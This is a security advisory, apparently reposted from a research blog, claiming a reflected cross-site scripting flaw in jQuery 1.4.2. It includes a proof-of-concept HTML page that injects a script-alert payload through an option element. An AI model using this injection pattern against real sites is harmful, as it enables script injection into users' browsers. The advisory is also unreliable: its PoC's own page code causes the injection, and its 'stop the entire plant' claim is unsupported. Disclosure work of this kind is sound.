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JQuery 1.4.2 Cross Site Scripting

Posted on 03 September 2014

XSS Reflected JQuery 1.4.2 - Create object option in runtime client-side From: Mauro Risonho de Paula Assumpção Date: 02.09.2014 13:21:20 -0300 VSLA Security Advisory FIRE-XSS-Reflected-Jquery 1.4.2 2014-001: XSS Reflected JQuery 1.4.2 LEVEL: MEDIUM In our tests authorized by the customer, we can stop the entire plant. Published: 09/01/2014 Version: 1.0 Vendor: Jquery (https://jquery.org/) Product: Jquery 1.4.2 ( http://blog.jquery.com/2010/02/19/jquery-142-released/) Version affected: 1.4.2 Product description: Jquery is a open source software. jQuery is a cross-platform JavaScript library designed to simplify the client-side scripting of HTML(1). Credit: Mauro Risonho de Paula Assumpção aka firebits Finding 1: Create object option in runtime client-side and insert XSS Reflected ‘index.html’ page, by phishing or fake site remote. CVE: CVE-2014-? (feedback cve mitre) Proof of Concept: Exploit:jquery-xss-reflected.com.br.html <!DOCTYPE html> <! -- Mauro Risonho de Paula Assumpcao --> <! -- aka firebits mauro.risonho@gmail.com --> <! -- Exploit jQuery JavaScript Library v1.4.2 --> <! -- 01.09.2014 18:07:14 SaoPaulo/Brazil --> <! -- _____.__ ___. .__ __ --> <! -- _/ ____\__|______ ____\_ |__ |__|/ |_ ______ --> <! -- __| \_ __ \_/ __ | __ | __/ ___/ --> <! -- | | | || | / ___/| \_ || | \___ --> <! -- |__| |__||__| \___ |___ /__||__| /____ | --> <! -- / / / --> <! -- bits on fire - 1989-2014 - brazil --> <! -- --> <! -- * jQuery JavaScript Library v1.4.2 --> <! -- * http://jquery.com/ --> <! -- * --> <! -- * Copyright 2010, John Resig --> <! -- * Dual licensed under the MIT or GPL Version 2 licenses. --> <! -- * http://jquery.org/license --> <! -- * --> <! -- * Includes Sizzle.js --> <! -- * http://sizzlejs.com/ --> <! -- * Copyright 2010, The Dojo Foundation --> <! -- * Released under the MIT, BSD, and GPL Licenses. --> <! -- * --> <! -- * Date: Sat Feb 13 22:33:48 2010 -0500 --> <! -- */ --> <html> <head> <meta charset="utf-8"> <title>XSS Reflected - Jquery 1.4.2 </title> <script src="http://<target>/js/jquery.js"></script> <script> $(function() { $('#users').each(function() { var select = $(this); var option = select.children('option').first(); select.after(option.text()); select.hide(); }); }); </script> </head> <body> <form method="post"> <p> <select id="users" name="users"> <option value="xssreflected"><script>alert(&#x27;xss reflected - jquery 1.4.2 by - 01.09.2014 18:07:14 Sao Paulo/Brazil @firebitsbr - mauro.risonho@gmail.com&#x27;);</script></option> </select> </p> </form> </body> </html> Vendor Response: <It was not sent to the vendor, but this is sending to the MITRE CVE to contact the vendor.> from VSLA Virtual Security Labs Anywhere. VSLA Virtual Security Labs Anywhere recommends installing the hotfix, hardware/software to be putting in a production environment. Remediation Steps: Update jquery 1.11.1 Vendor Communication Timeline: 09/01/2014 – Vulnerability disclosed ? – Confirmation to release vulnerabilities ? – Advisory published References 1. Wikipedia http://en.wikipedia.org/wiki/JQuery 2. Jquery http://jquery.com/ 3. VSLA Virtual Security Labs Anywhere https://firebitsbr.wordpress.com About VSLA Virtual Security Labs Anywhere: VSLA Virtual Security Labs Anywhere is a research blog on security the information. https://firebitsbr.wordpress.com Disclaimer: The information provided in this advisory is provided “as is” without warranty of any kind. VSLA Virtual Security Labs Anywhere disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall VSLA Virtual Security Labs Anywhere or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if VSLA Virtual Security Labs Anywhere or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.

 

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